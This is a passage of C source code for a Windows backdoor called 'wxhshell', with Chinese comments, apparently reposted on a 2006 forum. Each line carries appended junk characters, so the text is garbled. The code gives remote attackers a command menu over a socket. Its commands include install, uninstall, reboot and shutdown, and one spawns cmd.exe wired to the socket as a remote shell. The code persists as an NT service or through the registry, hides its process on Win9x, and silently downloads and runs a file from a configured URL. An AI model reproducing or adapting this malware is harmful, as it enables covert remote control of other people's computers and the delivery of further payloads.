  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E3d# T  
  } M?.[Rr-uw  
  else { &pN/+,0E  
WmTg`[  
    switch(cmd[0]) { K!qV82b='{  
  i1ss}JJp*  
  // 帮助 'D[g{LkL  
  case '?': { k*k 9hv?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TKrh3   
    break; D)GD9MJ  
  } s^>1rV]=(`  
  // 安装 $[M5V v  
  case 'i': { YdF\*tZ  
    if(Install()) ~O~R,h>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U( (F<  
    else Wer.VL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VhX~sJ1%Gp  
    break;  o\-:  
    } :FWo,fq?:{  
  // 卸载 Kn4x _9  
  case 'r': { c5AEn -Q  
    if(Uninstall()) a[ A*9%a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%]m^[6  
    else We:b1sZR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yQdoy^d/4  
    break; I1fUV72  
    } e>Q_&6L  
  // 显示 wxhshell 所在路径 b^C2<'  
  case 'p': { 'G8.)eTA'  
    char svExeFile[MAX_PATH]; [.LbX`K:  
    strcpy(svExeFile,"\n\r"); B^lm'/,@  
      strcat(svExeFile,ExeFile); (C60HbL  
        send(wsh,svExeFile,strlen(svExeFile),0); zMbz_22*  
    break; U9%#(T$  
    } /8"9 sf *  
  // 重启 NTy0NH  
  case 'b': { |^T?5=&Kt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y)D7!s  
    if(Boot(REBOOT)) AA~6r[*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xZ(f_Oy  
    else { B<6Ye9zuG  
    closesocket(wsh); \zv?r :1t  
    ExitThread(0); d!#qBn$*[  
    } Gb_y"rx?0  
    break; m+'vrxTY  
    } !)+8:8H'  
  // 关机 3%DDN\q\u  
  case 'd': { ht5eb"c+ 8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Qold7 M  
    if(Boot(SHUTDOWN)) .F@0`*#rE~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI~ll=9`  
    else { sEm064  
    closesocket(wsh); yVl?gGgh  
    ExitThread(0); %:vMD  
    } XfYhLE  
    break; ?JI:>3e  
    } a534@U4,  
  // 获取shell f]37Xl%I  
  case 's': { ^Uq"hT(41  
    CmdShell(wsh); 18];fC  
    closesocket(wsh); EH~XN9b  
    ExitThread(0); -9> oB  
    break; 8}<4f|?  
  } {v~.zRW%]r  
  // 退出 5&N55? G6  
  case 'x': { |Y|gT*v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lCC(N?%Q  
    CloseIt(wsh); |}KNtIX\G  
    break; Jrm 9,7/  
    } X0e#w?  
  // 离开 kZJ.G  
  case 'q': { )ND%MYJSq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g}Esj"7  
    closesocket(wsh); < rqFBq 8  
    WSACleanup(); r'~^BLT`#  
    exit(1); ExJexjOWI^  
    break; ~.L\f%<  
        } WC *e#QP  
  } '980.  
  } W*/0[|n*  
J8:f9a:|M  
  // 提示信息 wR*>9LjeG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6im!v<1Qx  
} ~T'Ri=  
  } bL"!z"NA  
C)8>_PY[M  
  return; [6{o13mCWE  
} %YbcI|i]<0  
RJO40&Z<Z  
// shell模块句柄 +?[,{WtV  
int CmdShell(SOCKET sock) [mJmT->  
{ NQ"`F,T  
STARTUPINFO si; bUBQ  
ZeroMemory(&si,sizeof(si)); *oca   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Acc]CqH*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7GVI={ b  
PROCESS_INFORMATION ProcessInfo; Z[pMlg6Z  
char cmdline[]="cmd"; 6x8P}?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~L7@,d:  
  return 0; E3==gYCe*  
} ~qj09  
@.SuHd  
// 自身启动模式 1w/Ur'8we  
int StartFromService(void) D`C#O 7.N  
{ TE!+G\@  
typedef struct PGaYYc3X  
{ g7r_jj%ow  
  DWORD ExitStatus; 1Zj NRg=  
  DWORD PebBaseAddress; Q>[Xm)jr:  
  DWORD AffinityMask; H 6~6hg  
  DWORD BasePriority; |NoTwK  
  ULONG UniqueProcessId; gvl3NQQ%t  
  ULONG InheritedFromUniqueProcessId; *%,{<C,Y  
}   PROCESS_BASIC_INFORMATION; DpZO$5.Ec+  
a][QY1E@?  
PROCNTQSIP NtQueryInformationProcess; '|JBA.s|  
1{pU:/_W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #y:,owo3I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m_pqU(sP  
-IF3'VG  
  HANDLE             hProcess; nnol)|C{5Y  
  PROCESS_BASIC_INFORMATION pbi; dqu+-43I|  
yl'@p 5n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (yB)rBh>n  
  if(NULL == hInst ) return 0; xG|T_|?  
J jp)%c#_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yv2N5IQ>{V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?cRGdLP'D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b!J%s   
Sl7x>=  
  if (!NtQueryInformationProcess) return 0; ZgD%*bH*B  
]/klKqz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q*E<~!jL  
  if(!hProcess) return 0; xq<3*Bcw  
d$}z,~sN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~  WO  
Gi=s|vt  
  CloseHandle(hProcess); t6JM%  
$ /p/9 -  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k~,({T<  
if(hProcess==NULL) return 0; ! O~:  
Zl4X,9Wt  
HMODULE hMod; |0Y: /uL#)  
char procName[255]; VsJ4sb7  
unsigned long cbNeeded; 6 J B"qd  
fC7rs5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $t{;- DpNB  
:fx^{N!T  
  CloseHandle(hProcess); >L_nu.x  
*\!>22*  
if(strstr(procName,"services")) return 1; // 以服务启动 RcG 1J7#i  
xxS>O%  
  return 0; // 注册表启动 Pn|;VCh  
} :{Mr~Co*  
}\$CU N  
// 主模块 BD.>aAi!  
int StartWxhshell(LPSTR lpCmdLine) Q%*987i  
{ d(X/N2~g  
  SOCKET wsl; HkL`- c0  
BOOL val=TRUE; vv FH (W  
  int port=0; a F!Im}  
  struct sockaddr_in door; \Hs*46@TC  
&h<\jqN/  
  if(wscfg.ws_autoins) Install(); F).7%YfY  
XTro;R=#  
port=atoi(lpCmdLine); _yN&+]c  
hq|I%>y  
if(port<=0) port=wscfg.ws_port; hzcSKRm  
L%Mj{fJ>Wm  
  WSADATA data; \)'5V!B|s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FMNT0  
`$oy4lDKQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    gmW-#.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3[Xc:;+/  
  door.sin_family = AF_INET; lh`ZEvt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F +Dke>j  
  door.sin_port = htons(port); "PePiW(i+  
&rbkw<=j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %5yP^BL0  
closesocket(wsl); j' }4ZwEh  
return 1; 4Wk`P]?^  
} ya'Ma<4  
B"Hz)-MW  
  if(listen(wsl,2) == INVALID_SOCKET) { qvC2BQ  
closesocket(wsl); &y&pjo6v1  
return 1; h2P&<ggqX  
} o5;|14O  
  Wxhshell(wsl); O/b1^ Y   
  WSACleanup(); {TVQ]G%'b  
Memb`3  
return 0; \f-@L;8#  
<Eu/f`8  
} uGU-MC *  
>v'@p  
// 以NT服务方式启动 j^)=<+Q;=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *bl|[(pP  
{ 6c[Slq!KA  
DWORD   status = 0; +k{l]-)1  
  DWORD   specificError = 0xfffffff; Q79WGW  
8JojKH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9l<}`/@}W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k!0vpps  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E|"QYsi.Ck  
  serviceStatus.dwWin32ExitCode     = 0; 9 Eqv^0u  
  serviceStatus.dwServiceSpecificExitCode = 0; c yH=LjgJf  
  serviceStatus.dwCheckPoint       = 0; c1M *w9o  
  serviceStatus.dwWaitHint       = 0; ZYLPk<<  
AvZO R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %zYTTPLZ  
  if (hServiceStatusHandle==0) return; xFA+Zj BC  
Pah*,  
status = GetLastError(); /:ju/ ~R}  
  if (status!=NO_ERROR) f64}#E|w  
{ 4K0Fc^-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; orZwm9#].  
    serviceStatus.dwCheckPoint       = 0; 08_<G`r  
    serviceStatus.dwWaitHint       = 0; X- P%^mK  
    serviceStatus.dwWin32ExitCode     = status; R@ MXwP  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'byao03  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]>~lO1  
    return; (YY!e2  
  } MZ%S3'  
%4x,^ K]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R,+"^:}  
  serviceStatus.dwCheckPoint       = 0; 'NN3XyD  
  serviceStatus.dwWaitHint       = 0; xzb{g,c   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T!1Np'12zF  
} c?}{>ig/)  
i;<K)5Z  
// 处理NT服务事件,比如:启动、停止 1Gw_S?$7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M!Ywjvw*)3  
{ \=j|ju3  
switch(fdwControl) I|tn7|*-A[  
{ S #C;"se  
case SERVICE_CONTROL_STOP: 50^CILKo7  
  serviceStatus.dwWin32ExitCode = 0; A"wso[{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SN5Z@kK  
  serviceStatus.dwCheckPoint   = 0; *qKf!&  
  serviceStatus.dwWaitHint     = 0; RPZ -  
  { q@d6P~[-gj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :MILOwF  
  } 6.M!WK{+  
  return; ch)#NHZ9F  
case SERVICE_CONTROL_PAUSE: DcsQ6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B&sa|'0U  
  break; 9=9R"X>L  
case SERVICE_CONTROL_CONTINUE: LDbo=w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -c p)aH)  
  break; oR}'I  
case SERVICE_CONTROL_INTERROGATE: ,ik\MSS  
  break; s@K #M  
}; RJE<1!{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [(iJj3s!  
} jTN!\RH9NF  
:o_6  
// 标准应用程序主函数 IRbZ ;*3dO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *]e 9/f  
{ TB#oauJm,  
p;rT#R&6>  
// 获取操作系统版本 EoOwu-{  
OsIsNt=GetOsVer(); ;|.IUXEgcF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V&>mD"~MP  
, R $ZZ4  
  // 从命令行安装 '_%`0p1  
  if(strpbrk(lpCmdLine,"iI")) Install(); =%0r_#F%=  
X`0`A2 n  
  // 下载执行文件 ktiC*|fd  
if(wscfg.ws_downexe) { K~ VUD(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~c|{PZ9U  
  WinExec(wscfg.ws_filenam,SW_HIDE); AUwIF/>F(]  
} fHacVj J  
4Dv42fO  
if(!OsIsNt) { p} i5z_tS  
// 如果时win9x,隐藏进程并且设置为注册表启动 aWMEo`O%  
HideProc(); 3k* U/*  
StartWxhshell(lpCmdLine); FQw@ @  
} \"Aw ATQ  
else 3t$)saQR  
  if(StartFromService()) YCu9dBeVS  
  // 以服务方式启动 #6za  
  StartServiceCtrlDispatcher(DispatchTable); ("_tML 8/p  
else 0BQ<a  
  // 普通方式启动 }zqYn`ffD  
  StartWxhshell(lpCmdLine); Q*caX   
Jtl[9qe#]  
return 0; v DVE#Nm_  
}
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只看该作者 1 发表于: 2006-10-10
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